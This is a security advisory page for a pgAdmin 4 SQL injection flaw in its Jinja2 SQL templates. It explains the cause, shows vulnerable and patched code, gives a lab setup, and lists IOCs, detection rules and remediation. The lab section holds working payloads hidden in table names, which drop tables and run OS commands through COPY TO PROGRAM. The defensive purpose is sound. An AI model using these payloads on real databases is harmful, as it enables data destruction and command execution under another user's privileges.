CVE-2026-17346
Executive Summary
CVE-2026-17346 is a high-severity SQL injection vulnerability in pgAdmin 4 that bypasses and expands on the incomplete fix shipped for CVE-2026-12044. The root cause is unescaped Jinja2 template interpolation of PostgreSQL object names in several Statistics and Dependencies SQL templates.
A low-privileged database user who is allowed to create tables, publications, or subscriptions can craft an object name containing an apostrophe. When any other user opens the corresponding Statistics or Dependencies tab in pgAdmin, the object name is interpolated directly into a SQL statement without using qtLiteral(), allowing arbitrary SQL statement injection in the context of the viewing user's database session.
The affected sinks include:
coll_stats.sqlall-indexes listing path, both the PostgreSQL 16+ and default template variants.- Publication and subscription
dependencies.sqlandget_position.sqltemplates, including bothpgandppas/ EPAS dialect variants.
The upstream fix in pgAdmin 4 9.17 applies qtLiteral(conn) to all name interpolation in these templates and updates publications/__init__.py and subscriptions/__init__.py to pass conn=self.conn into the render_template() calls. The corresponding test allowlist entries in test_sql_string_literal_lint.py are removed.
EPSS scoring is 0.0%, meaning no active exploitation has been widely reported at the time of publication. However, the attack surface is highly relevant for exposed pgAdmin instances and shared-database environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
pgAdmin 4 is distributed through multiple channels, including PyPI as the pgadmin4 package and the official Docker image dpage/pgadmin4. Organizations that install from PyPI should pin exact versions and verify file hashes in their software lockfiles. Although this CVE is not a malicious-package injection, it is a reminder that transitive dependencies and delivered templates must be kept current. Docker deployments should prefer multi-stage builds and non-root execution to reduce the impact of post-exploitation activity. There is no evidence of a malicious PyPI or Docker package directly tied to CVE-2026-17346.
CVSS Breakdown & Threat Level
The vulnerability carries an NVD base score of 8.8, which is High severity. The exact CVSS vector was not published in the advisory. A plausible vector for this class of issue is:
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
This reflects:
- Network-based attack.
- Low complexity.
- Low-privileged attacker account required.
- User interaction required because a victim must open the affected Statistics or Dependencies tab.
- Scope unchanged because the injection executes in the same database context.
- High impact to confidentiality, integrity, and availability.
The advisory also notes that the prior CVE-2026-12044 fix covered only a subset of the vulnerable template sinks. This broader issue remained hidden because the upstream regression test allowed certain object names to be treated as safe without proper escaping.
Deep Dive & Mechanics
pgAdmin heavily relies on SQL template files rendered with Jinja2. Many templates interpolate values using double braces. When a value is not properly escaped, an attacker-controlled value can alter the structure of the SQL statement.
The vulnerable pattern is shown conceptually below:
SELECT ...
FROM pg_catalog.pg_class c
WHERE c.relname = '{{ name }}'
The developer expectation was that name comes from pg_catalog and can never contain an apostrophe. That assumption is false. PostgreSQL allows any sequence of characters in quoted identifiers. A user can create an object with a name such as:
CREATE TABLE "x'; DROP TABLE audit_log; --" (id integer);
When pgAdmin later renders the template, the payload becomes:
SELECT ...
WHERE c.relname = 'x'; DROP TABLE audit_log; --'
The first query closes the SQL string, the attacker-controlled stacked statements execute, and the trailing single quote is commented out.
Because the injected SQL runs in the database session of the user who opens the Statistics or Dependencies tab, the attacker is effectively borrowing that user's database permissions. If an administrator opens the tab, the injected SQL executes as the administrator.
This is not a SQL injection in the query tool; it is a server-side template injection inside the pgAdmin application's generated SQL. The affected sink variants exist for different PostgreSQL versions and for the EnterpriseDB / PPAS dialect, making remediation broader than the initial CVE-2026-12044 fix.
Vulnerable vs. Patched Code
The vulnerable pattern is identical across the affected templates. The following examples are representative.
Vulnerable coll_stats.sql
-- Before pgAdmin 4 9.17
SELECT
c.relname,
c.oid
FROM pg_catalog.pg_class c
JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname = '{{ name }}'
In this version, the value is inserted directly inside single quotes. If name contains '; DROP TABLE ...; --, the SQL statement is changed.
Patched coll_stats.sql
-- After pgAdmin 4 9.17
SELECT
c.relname,
c.oid
FROM pg_catalog.pg_class c
JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname = {{ name | qtLiteral(conn) }}
The qtLiteral(conn) filter properly generates a PostgreSQL string literal using the database connection, escaping any embedded apostrophes.
Vulnerable Python Call
The Python side previously did not need to pass a connection because the template did not use a connection-aware filter.
render_template(
"publications/dependencies.sql",
name=object_name
)
Patched Python Call
render_template(
"publications/dependencies.sql",
name=object_name,
conn=self.conn
)
Passing conn is mandatory because qtLiteral must safely quote against the live database connection.
Exploitation & Lab Setup
No public Exploit-DB entry or Nuclei template is available for CVE-2026-17346. The following lab setup is intended solely for authorized security testing and detection engineering.
Red Team Lab
- Deploy a pgAdmin 4 version before 9.17 in a controlled environment.
docker run -d --name pgadmin-vuln -p 8080:80 dpage/pgadmin4:9.16
- Create a low-privileged PostgreSQL role and database:
CREATE ROLE alice LOGIN PASSWORD 'alicepass';
GRANT CONNECT ON DATABASE training TO alice;
GRANT CREATE ON SCHEMA public TO alice;
- Connect as
aliceand create malicious object names:
-- Simple proof of concept
CREATE TABLE "logs'; SELECT pg_sleep(10); --" (id integer);
-- More destructive payload if permitted in the lab
CREATE TABLE "victim'; DROP TABLE audit_trail; --" (id integer);
-- Payload targeting COPY TO PROGRAM
CREATE TABLE "pwn'; COPY (SELECT 1) TO PROGRAM 'touch /tmp/pgadmin_pwned'; --" (id integer);
Ask an administrator or high-privileged user to log in to pgAdmin and open the Statistics tab for the malicious table in the object browser tree. When the all-indexes listing is rendered, the payload executes in the administrator's session.
Verify execution by checking PostgreSQL logs or observing the side effect:
ls -l /tmp/pgadmin_pwned
Blue Team Detection Lab
- Configure PostgreSQL to log all DDL statements:
ALTER SYSTEM SET log_statement = 'ddl';
ALTER SYSTEM SET log_error_verbosity = 'verbose';
SELECT pg_reload_conf();
Create a staging database and generate malicious object names exactly as an attacker would.
Capture the generated pgAdmin SQL queries in the PostgreSQL log. The injected pattern will contain an apostrophe followed by a semicolon and an additional statement.
Deploy the Sigma and YARA rules from the Detection Engineering section to alert on the abnormal object name pattern.
Indicators of Compromise (IOCs)
There is no known public exploit kit or C2 infrastructure associated with CVE-2026-17346. The following behavioral indicators can tell whether the vulnerability has been triggered.
SQL Log Pattern
Look for PostgreSQL log lines that contain object names with embedded apostrophes and SQL statement separators.
CREATE TABLE "logs'; SELECT pg_sleep(10); --" (id integer)
CREATE TABLE "victim'; DROP TABLE audit_trail; --" (id integer)
CREATE TABLE "pwn'; COPY (SELECT 1) TO PROGRAM 'touch /tmp/pgadmin_pwned'; --" (id integer)
When the vulnerable template is triggered, the rendered SQL appears similar to:
SELECT ... WHERE c.relname = 'logs'; SELECT pg_sleep(10); --'
Process and File Artifacts
- Unexpected execution of
touch,curl,wget,nc, or other programs from the PostgreSQL service account. - New files in
/tmporpgadminwritable directories, such as/tmp/pgadmin_pwned. - PostgreSQL backend processes spawning non-PostgreSQL child processes.
Network Artifacts
- Outbound connections from the PostgreSQL server to external IP addresses or domains when
COPY TO PROGRAMis abused. - Web requests to pgAdmin browser endpoints containing URL-encoded SQL punctuation such as
%27and%3B.
Detection Engineering
No official Nuclei template was supplied with this advisory. The following detection content should be tuned to the local environment.
YARA Rule
rule pgadmin_cve_2026_17346_malicious_object
{
meta:
author = "Valters IT"
cve = "CVE-2026-17346"
description = "Detects suspicious PostgreSQL object names and stacked SQL payloads used against pgAdmin"
strings:
$ddl_table = "CREATE TABLE" ascii nocase
$ddl_publication = "CREATE PUBLICATION" ascii nocase
$ddl_subscription = "CREATE SUBSCRIPTION" ascii nocase
$quote_semicolon = "';" ascii
$semi_drop = "; DROP" ascii nocase
$semi_alt = "; ALTER" ascii nocase
$semi_copy = "; COPY" ascii nocase
$semi_sel = "; SELECT" ascii nocase
condition:
(any of ($ddl_*) and $quote_semicolon and any of ($semi_drop, $semi_alt, $semi_copy, $semi_sel))
}
Sigma Rule
title: Suspicious PostgreSQL Object Name with SQL Injection Pattern
id: 4d9f0b6c-7f8a-4f6a-9e3b-1c2d3e4f5a6b
status: experimental
description: Detects PostgreSQL DDL statements that create quoted identifiers containing stacked SQL operators, possibly targeting pgAdmin CVE-2026-17346
logsource:
category: application
product: postgresql
detection:
selection_ddl:
message|contains:
- 'CREATE TABLE "'
- 'CREATE PUBLICATION "'
- 'CREATE SUBSCRIPTION "'
selection_payload:
message|contains:
- "';"
- '; DROP'
- '; ALTER'
- '; COPY'
- '; SELECT'
condition: selection_ddl and selection_payload
falsepositives:
- Legitimate use of unusual quoted identifiers in a development environment
level: high
Suricata Rule
alert http any any -> any any (msg:"pgAdmin CVE-2026-17346 SQL injection attempt"; flow:established,to_server; content:"/browser/"; http_uri; content:"name="; http_uri; content:"%27%3B"; http_uri; content:"DROP"; http_uri; classtype:attempted-admin; sid:202617346; rev:1;)
Remediation & Mitigation
Upgrade pgAdmin 4 to 9.17 or later. The upstream fix uses
qtLiteral(conn)in all affected templates and passes the database connection through torender_template().If immediate upgrade is impossible, remove the affected Statistics and Dependencies tab access for untrusted object names and restrict access to pgAdmin through network allowlists.
Apply the principle of least privilege to PostgreSQL roles. Do not grant
CREATE TABLE,CREATE PUBLICATION, orCREATE SUBSCRIPTIONto roles that do not require them.Enable PostgreSQL DDL logging and deploy the supplied Sigma and YARA rules to detect malicious object names.
Use WAF or reverse proxy rules to block URL-encoded SQL separators in pgAdmin web requests, especially
%27and%3B.Audit existing database object names for apostrophes and suspicious trailing SQL fragments.
SELECT
n.nspname AS schema_name,
c.relname AS object_name,
c.relkind AS object_type
FROM pg_catalog.pg_class c
JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname LIKE '%''%' OR c.relname LIKE '%;%'
ORDER BY n.nspname, c.relname;
- For high-security environments, restrict access to pgAdmin itself and require separate administrative credentials for the pgAdmin application.
Valters IT – Security Intelligence & DevSecOps